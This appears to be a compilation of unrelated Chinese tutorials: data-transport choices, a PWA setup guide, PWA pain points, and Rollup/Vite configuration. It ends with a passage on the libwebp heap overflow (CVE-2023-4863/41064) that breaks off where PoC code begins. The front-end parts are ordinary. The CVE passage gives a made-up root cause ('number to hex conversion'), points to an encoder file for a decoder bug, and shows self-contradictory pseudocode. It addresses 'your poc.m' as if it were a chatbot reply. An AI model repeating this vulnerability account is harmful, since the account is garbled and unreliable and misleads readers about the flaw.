  • WebSocket:在线客服聊天
  • SSE:订单状态更新推送

案例2:协作文档(类 Google Docs)

  • GraphQL:文档结构查询
  • WebSocket:实时协作编辑
  • REST:文件上传/下载

案例3:社交应用

  • GraphQL:复杂的 feed 流查询
  • WebSocket:私信聊天
  • SSE:通知推送

关键原则

  • 没有一种方案能解决所有问题
  • 根据具体场景,组合使用不同方案

延伸与发散:AI 时代的数据传输

AI 对不同方案的生成质量

方案 AI 友好度 AI 擅长 AI 不擅长
REST ⭐⭐⭐⭐⭐ 标准 CRUD、路由设计 复杂查询优化
GraphQL ⭐⭐⭐ Schema、基础 resolver N+1 优化、缓存
WebSocket ⭐⭐⭐ 基础连接代码 重连、心跳、扩展
SSE ⭐⭐⭐⭐ 完整实现 大规模部署

AI 应用中的新场景

流式输出(Streaming)

// Environment: Browser
// Scenario: AI generates text, returns word by word
// Like ChatGPT typing effect

// Approach 1: SSE (recommended)
const eventSource = new EventSource('/api/ai/generate');

eventSource.onmessage = (event) => {
  const chunk = event.data;
  appendToOutput(chunk);
};

// Approach 2: Fetch Stream
fetch('/api/ai/generate', {
  method: 'POST',
  body: JSON.stringify({ prompt: '...' })
})
  .then(response => {
    const reader = response.body.getReader();
    const decoder = new TextDecoder();
    
    function read() {
      reader.read().then(({ done, value }) => {
        if (done) return;
        const chunk = decoder.decode(value);
        appendToOutput(chunk);
        read();
      });
    }
    
    read();
  });

思考

  • AI 流式输出最适合用什么方案?
  • SSE vs Fetch Stream 的选择?

未来的趋势

问题:协议会继续演进吗?

可能的方向:

  1. HTTP/3 + QUIC:更快的连接建立
  2. gRPC:高性能的 RPC 框架
  3. WebTransport:下一代实时通信

待探索的问题:

  • 边缘计算如何影响数据传输选择?
  • Serverless 架构下,WebSocket 如何实现?
  • AI Agent 之间的通信,需要什么协议?

小结

这篇文章梳理了常见的数据传输方案,但没有给出"最佳答案"——因为并不存在唯一最优解。

核心收获

  • REST:简单、成熟,适合大多数场景
  • GraphQL:解决特定问题(复杂查询),但有代价
  • WebSocket:实时双向通信,连接管理复杂
  • SSE:单向推送,够用且简单

选择的逻辑

  1. 先问"我的需求是什么"
  2. 再问"哪个方案的优势匹配我的需求"
  3. 最后问"我能承担这个方案的代价吗"

开放性问题

  • 你的项目用了什么方案?为什么?
  • 有没有遇到过"选错方案"的情况?
  • 如果重新设计,你会怎么选?

参考资料

三件套快速上手 + 第一个可安装的 PWA(HTTPS + Manifest + 基础 Service Worker)

用最小的代码和配置,让一个普通网页变成可安装的 PWA。目标是 15–30 分钟内看到“添加到主屏幕”提示(Android 上自动,iOS 上通过分享菜单)。

前提条件(2026 年视角)

  • 你有一个基本的静态网站或 SPA(HTML + CSS + JS)。
  • 用现代构建工具(如 Vite、Next.js、Create React App)最好;纯静态 HTML 也可以。
  • 最终上线必须 HTTPS(本地开发可以用 localhost 或自签名证书)。

第一步:启用 HTTPS(本地开发必备)

PWA 必须在 HTTPS 下工作(localhost 除外)。2026 年推荐工具仍是 mkcert(零配置、本地信任 CA)。

  1. 安装 mkcert(跨平台):

    • macOS:brew install mkcert
    • Windows:用 Chocolatey 或 Scoop,或直接下载二进制
    • Linux:从 GitHub 下载
  2. 初始化本地 CA(只需一次):

    mkcert -install
    
  3. 为 localhost 生成证书:

    mkdir certs && cd certs
    mkcert localhost 127.0.0.1 ::1
    

    → 生成 localhost.pemlocalhost-key.pem

  4. 用它启动服务器:

    • Vite(推荐,超快):vite 默认支持 HTTPS

      // vite.config.ts
      import { defineConfig } from 'vite'
      import react from '@vitejs/plugin-react'
      
      export default defineConfig({
        plugins: [react()],
        server: {
          https: {
            key: './certs/localhost-key.pem',
            cert: './certs/localhost.pem',
          },
        },
      })
      

      运行 npm run devhttps://localhost:5173

    • 纯静态 或其他:用 http-serverlive-server --https 或 Node 的 https 模块。

访问 https://localhost:xxxx(忽略浏览器警告如果没信任 CA,但 mkcert 会自动信任)。

iOS Safari 测试:用真机连同一 WiFi,访问你电脑的 IP(如 https://192.168.1.100:5173)。iOS 26+ 对 PWA 支持更好,默认 Home Screen 打开像 web app。

第二步:创建 Web App Manifest

在项目根目录创建 manifest.json(或 manifest.webmanifest),内容如下(最小 + 2026 年推荐字段):

{
  "name": "我的第一个 PWA",
  "short_name": "PWA Demo",
  "description": "一个简单的渐进式 Web 应用示例",
  "start_url": "/",
  "display": "standalone",
  "display_override": ["standalone", "minimal-ui"],
  "background_color": "#ffffff",
  "theme_color": "#000000",
  "icons": [
    {
      "src": "/icon-192.png",
      "sizes": "192x192",
      "type": "image/png",
      "purpose": "any maskable"
    },
    {
      "src": "/icon-512.png",
      "sizes": "512x512",
      "type": "image/png",
      "purpose": "any maskable"
    }
  ],
  "scope": "/",
  "orientation": "any",
  "prefer_related_applications": false
}

关键字段解释(2026 年现状):

  • display: "standalone" → 像原生 App,无浏览器边框。
  • icons → 至少 192x192 和 512x512;iOS/Android 都认 maskable(自适应圆角)。
  • theme_color / background_color → 启动屏和状态栏颜色。
  • start_url / scope → 控制打开范围。

链接到 HTML(index.html 的 内):

<link rel="manifest" href="/manifest.json">
<meta name="theme-color" content="#000000">
<!-- iOS 老 fallback,2026 年 manifest 优先 -->
<meta name="apple-mobile-web-app-capable" content="yes">
<meta name="apple-mobile-web-app-status-bar-style" content="black">

准备图标:用任意工具生成 192 和 512 的 PNG(推荐 maskable 形状:maskable.app/)放根目录。

第三步:注册基础 Service Worker

创建 sw.js(根目录):

// sw.js - 基础版:仅预缓存首页和核心文件
const CACHE_NAME = 'pwa-demo-v1';
const urlsToCache = [
  '/',
  '/index.html',
  '/styles.css',  // 你的 CSS
  '/app.js',      // 你的 JS
  '/icon-192.png',
  '/icon-512.png'
];

self.addEventListener('install', event => {
  event.waitUntil(
    caches.open(CACHE_NAME)
      .then(cache => {
        console.log('Opened cache');
        return cache.addAll(urlsToCache);
      })
  );
});

self.addEventListener('fetch', event => {
  event.respondWith(
    caches.match(event.request)
      .then(response => {
        // 缓存命中,返回缓存
        if (response) {
          return response;
        }
        // 否则发网络请求
        return fetch(event.request);
      })
  );
});

self.addEventListener('activate', event => {
  const cacheWhitelist = [CACHE_NAME];
  event.waitUntil(
    caches.keys().then(cacheNames => {
      return Promise.all(
        cacheNames.map(cacheName => {
          if (cacheWhitelist.indexOf(cacheName) === -1) {
            return caches.delete(cacheName);
          }
        })
      );
    })
  );
});

在你的主 JS 文件(或 index.html 的 script)注册:

// main.js 或直接 <script> 内
if ('serviceWorker' in navigator) {
  window.addEventListener('load', () => {
    navigator.serviceWorker.register('/sw.js')
      .then(registration => {
        console.log('Service Worker 注册成功:', registration);
      })
      .catch(err => {
        console.log('注册失败:', err);
      });
  });
}

测试你的第一个 PWA

  1. 运行 HTTPS 本地服务器 → 访问 https://localhost:xxxx
  2. Chrome DevTools → Application → Manifest:检查 manifest 是否加载。
  3. Application → Service Workers:看到 sw.js 已激活。
  4. Lighthouse(Chrome DevTools)跑 PWA 审计:应该看到 “Installable” 绿灯。
  5. Android:访问几次 → 自动弹出“添加到主屏幕” banner,或菜单 → 安装。
  6. iOS Safari(iOS 26+):分享 → “添加到主屏幕” → 会用 manifest 的图标和名称,standalone 打开(无地址栏)。

常见坑 & 快速修复

  • Manifest 404?→ 确认路径,Content-Type: application/manifest+json
  • SW 不工作?→ 确保 scope 正确(根目录 sw 覆盖全部)
  • iOS 不显示 standalone?→ 确认加到主屏幕后打开;Safari 26+ 默认 web app 模式好多了。
  • 图标不圆?→ purpose: "maskable" + 用 maskable.app 测试。

恭喜!你已经有了第一个可安装 PWA!它能离线打开(因为预缓存了首页),以 App 形式出现。

PWA 到底是什么?它在 2026 年解决了哪些真实痛点?

PWA 到底是什么?

Progressive Web App(渐进式 Web 应用,简称 PWA)是一种使用标准 Web 技术(HTML、CSS、JavaScript)构建的网页应用,但通过浏览器提供的增强能力,让它具备接近原生 App 的体验。

它不是一个全新的东西,而是一种“渐进增强”(Progressive Enhancement)的理念:从普通的网页开始,逐步添加高级特性,让用户感觉像在使用安装的原生应用。

PWA 的三大核心支柱(至今仍是)

  • 可靠(Reliable):即使在弱网/断网情况下也能加载并基本可用(靠 Service Worker + 缓存)。
  • 快速(Fast):瞬间加载、流畅交互(优化的缓存 + 性能最佳实践)。
  • 可安装(Installable):可以“添加到主屏幕”,以独立窗口(standalone)模式运行,有图标、启动画面,像 App 一样。

在 2026 年,PWA 已经从 2015 年的“概念”变成了许多企业实际落地的主流移动解决方案之一。浏览器支持大幅成熟,Chrome/Edge/Firefox 几乎完整,Safari(iOS)也追赶了很多年(虽仍有差距)。

它在 2026 年真正解决了哪些真实痛点?

以下是 2026 年开发者/产品/业务最常遇到的痛点,以及 PWA 如何针对性解决(基于当前浏览器现实支持情况):

  1. 开发和维护成本爆炸(Separate iOS + Android + Web)

    • 痛点:同一功能要写 3 套代码(Swift/Kotlin + Web),测试、上架、更新各走各的流程,维护成本高到离谱。
    • PWA 解决:一套代码跑三端(甚至桌面 Windows/macOS/ChromeOS)。2026 年 60%+ 的企业级移动项目已转向 PWA 或 hybrid 模式,开发成本可降 40–60%。更新无需 App Store 审核,秒级生效。
  2. 用户安装/获取摩擦巨大(App Store 下载壁垒)

    • 痛点:用户看到链接 → 去 App Store → 下载几十 MB → 安装 → 打开,转化率惨不忍睹(很多场景 <5%)。
    • PWA 解决:链接一点就用,符合条件可弹出“添加到主屏幕”提示(Android 自动 banner,iOS 手动但更顺畅)。安装后有图标、离线可用、无需占 App Store 空间。很多电商/内容/工具类 App 转化率因此提升 2–5 倍。
  3. 弱网/无网场景下体验崩坏

    • 痛点:地铁、电梯、农村、国际漫游……用户一断网就白屏/卡死,流失严重。
    • PWA 解决:Service Worker 预缓存 + 运行时缓存,核心页面/资源离线可用。2026 年 Workbox 等工具让实现几乎零成本。新闻、邮件、待办、天气、记账类 PWA 在断网时仍能浏览历史、写草稿,等联网再同步。
  4. 推送通知和用户再触达难

    • 痛点:H5 基本没推送,原生 App 推送又贵又麻烦(审核、权限)。
    • PWA 解决:Web Push 已跨平台可用。Android/桌面完整支持,iOS 从 iOS 16.4 开始支持(需加到主屏幕,非 EU 地区更稳定)。2026 年 Declarative Web Push 等新 API 让推送更可靠,企业再营销/订单提醒/消息触达率大幅提升。
  5. 加载慢、性能差直接影响收入

    • 痛点:移动端 3 秒未加载完,用户流失率飙升;Core Web Vitals 差 → SEO 排名掉。
    • PWA 解决:强制 HTTPS + 缓存策略 + 优化后,首屏加载常 <1s。Lighthouse PWA 分数 90+ 已成为标配,很多业务报告转化率提升 20–50%。
  6. 跨平台一致性 & 快速迭代

    • 痛点:iOS 和 Android 体验割裂,bug 修复要双平台发版。
    • PWA 解决:浏览器统一渲染逻辑,一处修复全局生效。2026 年 PWA 还能用 File System Access、Web Share、Badging API 等,让体验更接近原生。

2026 年 PWA 的真实平台支持对比(简表)

特性 Android (Chrome) iOS (Safari 26+) Windows/macOS 备注
添加到主屏幕/安装 完整(自动提示) 支持(手动 Share → Add) 支持 iOS 26 默认更倾向 web app 模式
离线 & 缓存 完整 完整(但存储配额仍限) 完整 Service Worker 跨平台
Push 通知 完整 支持(需 home screen,非EU更稳) 完整 iOS 无 silent push,reach 稍低
Background Sync 完整 部分/不支持 部分 iOS 仍最大短板
Periodic Sync 完整 不支持 部分 用于定期更新内容
硬件 API(相机、蓝牙等) 大部分支持 部分支持 部分 差距在缩小

总结一句话(2026 年视角)

PWA 不是要完全取代原生 App,而是解决了**“我想给用户 App 般的体验,但不想付出双平台原生开发的代价”** 这个最真实、最普遍的痛点。

特别适合:

  • 电商、新闻、社交工具、SaaS、生产力工具、内容平台
  • 预算有限、需要快速验证、重视 SEO 和链接分享的场景
  • 想覆盖桌面 + 移动 + 弱网用户的企业

不适合:

  • 重度游戏、AR/VR、深度硬件调用(如银行指纹/人脸支付完整链路)
  • 对 iOS 推送/后台要求极高的场景(仍需原生补位)

前端构建工具:从Rollup到Vite

在 Vue.js 源码中,pnpm run build reactivity 这个命令背后究竟发生了什么?为什么 Vue3 选择 Rollup 作为构建工具?ViteRollup 又是什么关系?本文将深入理解 Rollup 的核心配置,探索 Vue3 的构建体系,并理清 ViteRollup 的渊源。

Rollup 基础配置解析

什么是 Rollup?

Rollup 是一个 JavaScript 模块打包器,它可以将多个模块打包成一个单独的文件。与 Webpack 不同,Rollup 专注于 ES 模块的静态分析,以生成更小、更高效的代码。

Rollup 的核心优势

  • treeShaking:基于 ES 模块的静态分析,自动移除未使用的代码
  • 支持输出多种模块格式(ESM、CJS、UMD、IIFE)
  • 配置文件简洁直观,学习成本低
  • 插件体系完善,可以处理各种场景

核心配置:input 与 output

Rollup 的配置文件通常是 rollup.config.js,它导出一个配置对象或数组:

input:入口文件配置

// rollup.config.js
export default {
    // 单入口(最常见)
    input: 'src/index.js',
    
    // 多入口(对象形式)
    input: {
        main: 'src/main.js',
        admin: 'src/admin.js',
        utils: 'src/utils.js'
    },
    
    // 多入口(数组形式)
    input: ['src/index.js', 'src/cli.js']
};

output:输出配置

output 配置决定了打包产物的形式和位置:

export default {
    input: 'src/index.js',
    
    // 单输出配置
    output: {
        file: 'dist/bundle.js',      // 输出文件
        format: 'esm',                // 输出格式
        name: 'MyLibrary',            // UMD/IIFE 模式下的全局变量名
        sourcemap: true,               // 生成 sourcemap
        banner: '/*! MyLibrary v1.0.0 */' // 文件头注释
    },
    
    // 多输出配置(数组形式,输出多种格式)
    output: [
        {
            file: 'dist/my-lib.cjs.js',
            format: 'cjs'              // CommonJS,适用于 Node.js
        },
        {
            file: 'dist/my-lib.esm.js',
            format: 'es'                // ES Module,适用于现代浏览器/打包工具
        },
        {
            file: 'dist/my-lib.umd.js',
            format: 'umd',              // UMD,适用于所有场景
            name: 'MyLibrary'
        },
        {
            file: 'dist/my-lib.iife.js',
            format: 'iife',              // IIFE,直接用于浏览器 script 标签
            name: 'MyLibrary'
        }
    ]
};
输出格式详解
格式 全称 适用场景 特点
es / esm ES Module 现代浏览器、打包工具 保留 import/export,支持 Tree Shaking
cjs CommonJS Node.js 环境 使用 require/module.exports
umd Universal Module Definition 通用(浏览器、Node.js) 兼容 AMD、CommonJS 和全局变量
iife Immediately Invoked Function Expression 直接在浏览器用 script 脚本引入 自执行函数,避免全局污染
amd Asynchronous Module Definition RequireJS 等 异步模块加载

插件系统:扩展 Rollup 的能力

Rollup 的核心功能很精简,大多数能力需要通过插件来扩展。插件通过 plugins 数组配置,可以是单个插件实例或包含多个插件的数组:

import { nodeResolve } from '@rollup/plugin-node-resolve';
import commonjs from '@rollup/plugin-commonjs';
import { terser } from 'rollup-plugin-terser';
import json from '@rollup/plugin-json';
import replace from '@rollup/plugin-replace';
import babel from '@rollup/plugin-babel';

export default {
    input: 'src/index.js',
    output: {
        file: 'dist/bundle.js',
        format: 'umd',
        name: 'MyLibrary'
    },
    plugins: [
        // 解析 node_modules 中的第三方模块[citation:1]
        nodeResolve(),
        
        // 将 CommonJS 模块转换为 ES 模块[citation:10]
        commonjs(),
        
        // 支持导入 JSON 文件
        json(),
        
        // 替换代码中的字符串(常用于环境变量)
        replace({
            'process.env.NODE_ENV': JSON.stringify('production')
        }),
        
        // 使用 Babel 进行代码转换
        babel({
            babelHelpers: 'bundled',
            exclude: 'node_modules/**'
        }),
        
        // 压缩代码(生产环境)
        terser()
    ]
};

external:排除外部依赖

当构建一个库时,我们通常不希望将第三方依赖(如 React、Vue、lodash)打包进最终的产物,而是将其声明为外部依赖:

export default {
    input: 'src/index.js',
    output: {
        file: 'dist/my-lib.js',
        format: 'umd',
        name: 'MyLibrary',
        // 为 UMD 模式提供全局变量名映射
        globals: {
            'react': 'React',
            'react-dom': 'ReactDOM',
            'lodash': '_'
        }
    },
    // 排除外部依赖
    external: [
        'react',
        'react-dom',
        'lodash',
        // 也可以使用正则表达式
        /^lodash\//  // 排除 lodash 的所有子模块
    ]
};

Tree Shaking

Rollup 最令人津津乐道的就是其 Tree Shaking 功能,它通过静态分析移除未使用的代码,减小打包体积:

export default {
    input: 'src/index.js',
    output: {
        file: 'dist/bundle.js',
        format: 'esm'
    },
    treeshake: {
        // 模块级别的副作用分析
        moduleSideEffects: false,
        
        // 属性访问分析(更精确的 Tree Shaking)
        propertyReadSideEffects: false,
        
        // 尝试合并模块
        tryCatchDeoptimization: false,
        
        // 未知全局变量分析
        unknownGlobalSideEffects: false
    }
};

// 更简单的用法:直接使用布尔值
treeshake: true // 开启默认的摇树优化[citation:1]

watch:监听模式

在开发过程中,我们可以开启监听模式,当文件变化时自动重新打包:

export default {
    input: 'src/index.js',
    output: {
        file: 'dist/bundle.js',
        format: 'esm'
    },
    watch: {
        include: 'src/**',      // 监听的文件
        exclude: 'node_modules/**', // 排除的文件
        clearScreen: false        // 不清除屏幕
    }
};

// 或者在命令行中开启
// rollup -c --watch
// rollup -c -w (简写)

Vue3 使用的关键 Rollup 插件

Vue3 的源码采用 monorepo 管理,使用 Rollup 进行构建。让我们看看 Vue3 在构建过程中使用了哪些关键插件:

@rollup/plugin-node-resolve

作用:允许 Rollup 从 node_modules 中导入第三方模块。

// 为什么需要这个插件?
import { reactive } from '@vue/reactivity'; // 这个模块在 node_modules 中
// 没有插件时,Rollup 无法解析这个路径

// Vue3 中的使用
import nodeResolve from '@rollup/plugin-node-resolve';

export default {
    plugins: [
        nodeResolve({
            // 指定解析的模块类型
            mainFields: ['module', 'main'], // 优先使用 module 字段[citation:5]
            extensions: ['.js', '.json', '.ts'], // 支持的文件扩展名
            preferBuiltins: false // 不优先使用 Node 内置模块
        })
    ]
};

@rollup/plugin-commonjs

作用:将 CommonJS 模块转换为 ES 模块,使得 Rollup 可以处理那些尚未提供 ES 模块版本的依赖:

import commonjs from '@rollup/plugin-commonjs';

export default {
    plugins: [
        commonjs({
            // 指定哪些文件需要转换
            include: 'node_modules/**',
            
            // 扩展名
            extensions: ['.js', '.cjs'],
            
            // 忽略某些模块的转换
            ignore: ['conditional-runtime-dependency']
        })
    ]
};

@rollup/plugin-replace

作用:在打包时替换代码中的字符串,常用于注入环境变量或特性开关(Feature Flags):

// Vue3 中的特性开关示例[citation:2]
// packages/compiler-core/src/errors.ts
export function createCompilerError(code, loc, messages, additionalMessage) {
    // __DEV__ 在构建时被替换为 true 或 false
    if (__DEV__) {
        // 开发环境才执行的代码
    }
}

// rollup 配置
import replace from '@rollup/plugin-replace';

export default {
    plugins: [
        replace({
            // 防止被 JSON.stringify 转义
            preventAssignment: true,
            
            // 定义环境变量
            __DEV__: process.env.NODE_ENV !== 'production',
            __VERSION__: JSON.stringify('3.2.0'),
            
            // 特性开关
            __FEATURE_OPTIONS_API__: true,
            __FEATURE_PROD_DEVTOOLS__: false
        })
    ]
};

@rollup/plugin-json

作用:支持从 JSON 文件导入数据:

import json from '@rollup/plugin-json';

export default {
    plugins: [
        json({
            // 指定 JSON 文件的大小限制,超过限制则作为单独文件引入
            preferConst: true,
            indent: '  '
        })
    ]
};

// 使用时
import pkg from './package.json';
console.log(pkg.version);

rollup-plugin-terser

作用:压缩代码,减小生产环境的包体积:

import { terser } from 'rollup-plugin-terser';

export default {
    plugins: [
        // 只在生产环境使用
        process.env.NODE_ENV === 'production' && terser({
            compress: {
                drop_console: true,      // 移除 console
                drop_debugger: true,      // 移除 debugger
                pure_funcs: ['console.log'] // 移除特定的函数调用
            },
            output: {
                comments: false           // 移除注释
            }
        })
    ]
};

@rollup/plugin-babel

作用:使用 Babel 进行代码转换,处理语法兼容性问题:

import babel from '@rollup/plugin-babel';

export default {
    plugins: [
        babel({
            // 排除 node_modules
            exclude: 'node_modules/**',
            
            // 包含的文件
            include: ['src/**/*.js', 'src/**/*.ts'],
            
            // Babel helpers 的处理方式
            babelHelpers: 'bundled', // 或 'runtime'
            
            // 扩展名
            extensions: ['.js', '.jsx', '.ts', '.tsx']
        })
    ]
};

@rollup/plugin-typescript

作用:支持 TypeScript 编译:

import typescript from '@rollup/plugin-typescript';

export default {
    plugins: [
        typescript({
            tsconfig: './tsconfig.json',
            declaration: true,      // 生成 .d.ts 文件
            declarationDir: 'dist/types'
        })
    ]
};

如何构建指定包(以 pnpm run build reactivity 为例)

Vue3 采用 monorepo 管理多个包,使用 pnpm 作为包管理器。理解 pnpm run build reactivity 背后的机制,能帮助我们更好地理解现代构建流程:

项目结构

vue-next/
├── packages/               # 所有子包
│   ├── reactivity/         # 响应式系统
│   │   ├── src/
│   │   ├── package.json    # 包级配置
│   │   └── ...
│   ├── runtime-core/       # 运行时核心
│   ├── runtime-dom/        # 浏览器运行时
│   ├── compiler-core/      # 编译器核心
│   ├── vue/                # 完整版本
│   └── ...
├── package.json            # 根配置
├── pnpm-workspace.yaml     # pnpm 工作区配置
└── rollup.config.js        # Rollup 配置文件

pnpm-workspace.yaml 配置

# pnpm-workspace.yaml
packages:
  - 'packages/*'  # 声明 packages 下的所有目录都是工作区的一部分

这个配置告诉 pnpm:packages 目录下的每个子目录都是一个独立的包,它们之间可以互相引用而不需要发布到 npm。

根 package.json 的脚本配置

// 根目录 package.json
{
  "private": true,
  "scripts": {
    "build": "node scripts/build.js",                 // 构建所有包
    "build:reactivity": "pnpm run build reactivity",  // 只构建 reactivity 包
    "dev": "node scripts/dev.js",                      // 开发模式
    "test": "jest"                                      // 运行测试
  }
}

pnpm run 的底层原理

当我们在命令行执行 pnpm run build reactivity 时,背后发生了以下步骤:

  1. 解析命令:pnpm run build reactivity
  2. 读取根目录 package.json 中的 scripts
  3. 找到 "build": node scripts/build.js
  4. 将参数 "reactivity" 传递给脚本
  5. 在 PATH 环境变量中查找 node
  6. 执行 node scripts/build.js reactivity
  7. 脚本根据参数决定构建哪个包

build.js 脚本分析

Vue3 的构建脚本会解析命令行参数,决定构建哪些包:

// scripts/build.js (简化版)
const fs = require('fs');
const path = require('path');
const execa = require('execa');
const { targets: allTargets } = require('./utils');

// 获取命令行参数
const args = require('minimist')(process.argv.slice(2));
const targets = args._; // 获取到的参数数组

async function build() {
    // 如果没有指定目标,构建所有包
    if (!targets.length) {
        await buildAll(allTargets);
    } else {
        // 只构建指定的包
        await buildSelected(targets);
    }
}

async function buildSelected(targets) {
    for (const target of targets) {
        await buildPackage(target);
    }
}

async function buildPackage(packageName) {
    console.log(`开始构建: @vue/${packageName}`);
    
    // 切换到包目录
    const pkgDir = path.resolve(__dirname, '../packages', packageName);
    
    // 使用 rollup 构建该包
    await execa(
        'rollup',
        [
            '-c',                                      // 使用配置文件
            '--environment',                           // 设置环境变量
            `TARGET:${packageName}`,                   // 告诉 rollup 要构建哪个包
            '--watch'                                   // 开发模式时可能开启
        ],
        {
            stdio: 'inherit',                          // 继承输入输出
            cwd: pkgDir                                 // 在包目录执行
        }
    );
}

build();

Rollup 配置如何区分不同的包

// rollup.config.js (简化版)
import { createRequire } from 'module';
import path from 'path';
import fs from 'fs';

// 获取所有包
const packagesDir = path.resolve(__dirname, 'packages');
const packages = fs.readdirSync(packagesDir)
    .filter(f => fs.statSync(path.join(packagesDir, f)).isDirectory());

// 根据环境变量决定构建哪个包
const target = process.env.TARGET;

function createConfig(packageName) {
    const pkgDir = path.resolve(packagesDir, packageName);
    const pkg = require(path.join(pkgDir, 'package.json'));
    
    // 为每个包生成不同的配置
    return {
        input: path.resolve(pkgDir, 'src/index.ts'),
        output: [
            {
                file: path.resolve(pkgDir, pkg.main),
                format: 'cjs',
                sourcemap: true
            },
            {
                file: path.resolve(pkgDir, pkg.module),
                format: 'es',
                sourcemap: true
            }
        ],
        plugins: [
            // 共用插件
        ],
        external: [
            ...Object.keys(pkg.dependencies || {}),
            ...Object.keys(pkg.peerDependencies || {})
        ]
    };
}

// 如果指定了 target,只构建那个包
if (target) {
    module.exports = createConfig(target);
} else {
    // 否则构建所有包
    module.exports = packages.map(createConfig);
}

包级 package.json 的配置

每个包都有自己的 package.json,定义了该包的元信息和构建产物的入口:

// packages/reactivity/package.json
{
  "name": "@vue/reactivity",
  "version": "3.2.0",
  "main": "dist/reactivity.cjs.js",     // CommonJS 入口
  "module": "dist/reactivity.esm.js",    // ES Module 入口
  "unpkg": "dist/reactivity.global.js",  // 直接引入的 UMD 版本
  "types": "dist/reactivity.d.ts",       // TypeScript 类型定义
  "dependencies": {
    "@vue/shared": "3.2.0"
  }
}

Vite 与 Rollup 的关系

为什么需要 Vite?

虽然 Rollup 很优秀,但在开发大型应用时,它和 Webpack 一样面临着性能瓶颈:随着项目变大,启动开发服务器的时间越来越长。

Vite 的双引擎架构

Vite 在开发环境和生产环境使用不同的引擎:

  • 开发环境:利用浏览器原生 ES 模块 + esbuild 预构建
  • 生产环境:使用 Rollup 进行深度优化打包

开发环境:利用原生 ES 模块

<!-- Vite 开发服务器的原理 -->
<script type="module">
    // 浏览器直接请求模块,服务器实时编译返回
    import { createApp } from '/node_modules/.vite/vue.js'
    import App from '/src/App.vue'
    
    createApp(App).mount('#app')
</script>

esbuild 使用 Go 编写,比 JS 编写的打包器快 10-100 倍,可以预构建依赖,并转换 TypeScript/JSX。

生产环境:使用 Rollup 打包

Vite 在生产环境构建时,会使用 Rollup 进行打包。Vite 的插件系统也是与 Rollup 兼容的,这意味着绝大多数 Rollup 插件也可以在 Vite 中使用:

// vite.config.js
import { defineConfig } from 'vite';
import vue from '@vitejs/plugin-vue';
import { resolve } from 'path';

export default defineConfig({
    plugins: [
        vue()  // 这个插件同时支持开发环境和生产环境
    ],
    
    // 构建配置
    build: {
        // 底层是 Rollup 配置
        rollupOptions: {
            input: {
                main: resolve(__dirname, 'index.html'),
                nested: resolve(__dirname, 'nested/index.html')
            },
            output: {
                // 代码分割配置
                manualChunks: {
                    vendor: ['vue', 'vue-router']
                }
            }
        },
        
        // 输出目录
        outDir: 'dist',
        
        // 生成 sourcemap
        sourcemap: true,
        
        // 压缩配置
        minify: 'terser' // 或 'esbuild'
    }
});

Vite 与 Rollup 的配置对比

配置项 Rollup Vite
入口文件 input build.rollupOptions.input
输出目录 output.file / output.dir build.outDir
输出格式 output.format build.rollupOptions.output.format
外部依赖 external build.rollupOptions.external
插件 plugins plugins (同时支持 Vite 和 Rollup 插件)
开发服务器 无(需配合 rollup -w) 内置,支持 HMR

何时选择 Vite,何时选择 Rollup?

使用 Rollup

  • 开发 JavaScript/TypeScript 库
  • 需要精细控制打包过程
  • 项目不复杂,不需要开发服务器
  • 已有基于 Rollup 的构建流程

使用 Vite

  • 开发应用(Vue/React 项目)
  • 需要快速启动的开发服务器
  • 需要 HMR 热更新
  • 希望简化配置

两者结合

  • 库开发时使用 Rollup
  • 应用开发时使用 Vite
  • Vite 内部使用 Rollup 构建生产环境

总结

Rollup 的核心优势

  • 简洁性: 配置直观,学习成本低
  • TreeShaking: 基于ES模块的静态分析,产出代码极小
  • 多格式输出: 支持输出多种模块格式,适用于不同环境
  • 插件生态: 丰富的插件,可以处理各种场景
  • 源码可读性: 打包后的代码保持较好的可读性

Vite 的创新之处

  • 开发体验: 利用原生ES模块,实现极速启动和热更新
  • 双引擎架构: 开发用 esbuild,生产用 Rollup,各取所长
  • 配置简化: 内置常用配置,开箱即用
  • 插件兼容: 兼容 Rollup 插件生态

构建工具是现代前端开发的基石,深入理解它们不仅能帮助我们写出更高效的代码,还能在遇到问题时快速定位和解决。对于文章中错误的地方或者有任何问题,欢迎在评论区留言讨论!

深度剖析CVE-2023-41064与CVE-2023-4863:libwebp堆溢出漏洞的技术解剖与PoC构建实录

2023年9月,苹果与谷歌同步披露了两个关联的高危远程代码执行漏洞

  • CVE-2023-41064 (Apple Safari/ImageIO框架)
  • CVE-2023-4863 (Google Chrome/libwebp库)

二者均源于 libwebp图像处理库中 ReadHuffmanCodes() 函数的堆缓冲区溢出缺陷。该漏洞被证实用于针对记者与异见人士的 BLASTPASS/Pegasus间谍软件攻击链 ,攻击者仅需发送一封 恶意WebP图片附件 (无需用户交互),即可完全控制设备。

漏洞本质: 恶意构造的WebP图像通过篡改霍夫曼编码表的“数字到十六进制(Number to Hex)转换逻辑,触发内存分配不足,最终导致堆溢出(Heap Buffer Overflow)。


漏洞原理:霍夫曼编码表的致命偏差

1. libwebp的解码流程

WebP图像使用VP8L压缩格式,其核心解码步骤包括:

  1. 解析VP8L分块:读取图像特征与霍夫曼编码表参数。
  2. 构建霍夫曼树:根据表中的“码长”动态生成解码树。
  3. 解码图像数据:利用霍夫曼树解压像素信息。

2. ReadHuffmanCodes函数的逻辑缺陷

漏洞点位于 libwebp/src/enc/histogram_enc.c 中的 ReadHuffmanCodes() 函数。核心问题在于“数字到十六进制”转换偏差导致的缓冲区分配错误

伪代码还原漏洞逻辑

// 漏洞核心.......未校验码长与分配内存的匹配关系
int ReadHuffmanCodes(VP8LDecoder* const dec, int alphabet_size) {
    int num_symbols = ReadBits(4) + 1;       // 符号数量N(1-16)
    int max_code_length = ReadBits(4) + 1;    // 最大码长L(1-16)

    // 【致命偏差】“数字到十六进制”转换错误:将十进制数值误作十六进制解析
    // 实际分配内存:N*(L+1)字节(应为N*(L+1),但因转换偏差导致分配过小)
    size_t mem_size = num_symbols * (max_code_length + 1);  
    HuffmanTree* tree = (HuffmanTree*)malloc(mem_size);  // 堆缓冲区分配

    // 填充霍夫曼树节点(漏洞触发点)
    for (int i = 0; i < num_symbols; i++) {
        int code_length = ReadBits(3);  // 读取3比特码长(0-7,实际可构造更大值)
        if (code_length > 0) {
            // 【堆溢出】当code_length > max_code_length时,写入越界
            tree[i].code_len = code_length;   
            tree[i].symbol = ReadBits(8);  // 符号值(1字节)
        }
    }
    return 1;
}

PoC构建:Xcode + Objective-C 实战

基于您提供的 poc.m 代码,我们优化并扩展了完整的漏洞验证程序,重点模拟真实攻击场景下的解析流程。

1. 原始代码分析

您的 poc.m 通过ImageIO框架加载恶意WebP,触发libwebp解析:

// 核心触发逻辑(您的代码)
